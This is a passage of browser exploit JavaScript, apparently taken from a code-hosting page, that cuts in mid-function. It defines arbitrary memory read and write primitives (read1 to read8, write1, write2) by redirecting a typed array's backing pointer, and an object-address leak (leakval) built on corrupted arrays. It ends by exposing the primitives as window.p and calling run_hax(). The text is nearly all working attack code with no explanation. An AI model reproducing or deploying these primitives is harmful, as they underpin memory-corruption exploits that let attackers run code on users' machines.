arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
if(value instanceof int64) {
|
||||
arw_slave[0] = value.low;
|
||||
} else {
|
||||
arw_slave[0] = value;
|
||||
}
|
||||
},
|
||||
write2: function(addr, value) {
|
||||
arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
var tmp = arw_slave[0] & 0xFFFF0000;
|
||||
if(value instanceof int64) {
|
||||
arw_slave[0] = ((value.low & 0xFFFF) | tmp);
|
||||
} else {
|
||||
arw_slave[0] = ((value & 0xFFFF) | tmp);
|
||||
}
|
||||
},
|
||||
write1: function(addr, value) {
|
||||
arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
var tmp = arw_slave[0] & 0xFFFFFF00;
|
||||
if(value instanceof int64) {
|
||||
arw_slave[0] = ((value.low & 0xFF) | tmp);
|
||||
} else {
|
||||
arw_slave[0] = ((value & 0xFF) | tmp);
|
||||
}
|
||||
},
|
||||
read8: function(addr) {
|
||||
arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
return new int64(arw_slave[0], arw_slave[1]);
|
||||
},
|
||||
read4: function(addr) {
|
||||
arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
return arw_slave[0];
|
||||
},
|
||||
read2: function(addr) {
|
||||
arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
return arw_slave[0] & 0xFFFF;
|
||||
},
|
||||
read1: function(addr) {
|
||||
arw_master[4] = addr.low;
|
||||
arw_master[5] = addr.hi;
|
||||
return arw_slave[0] & 0xFF;
|
||||
},
|
||||
leakval: function(obj) {
|
||||
arrays[257][32] = obj;
|
||||
union_f[0] = arrays[258][0];
|
||||
return new int64(union_i[0], union_i[1]);
|
||||
}
|
||||
};
|
||||
window.p = prim;
|
||||
run_hax();
|
||||
}
|
Loading…
Reference in New Issue
Block a user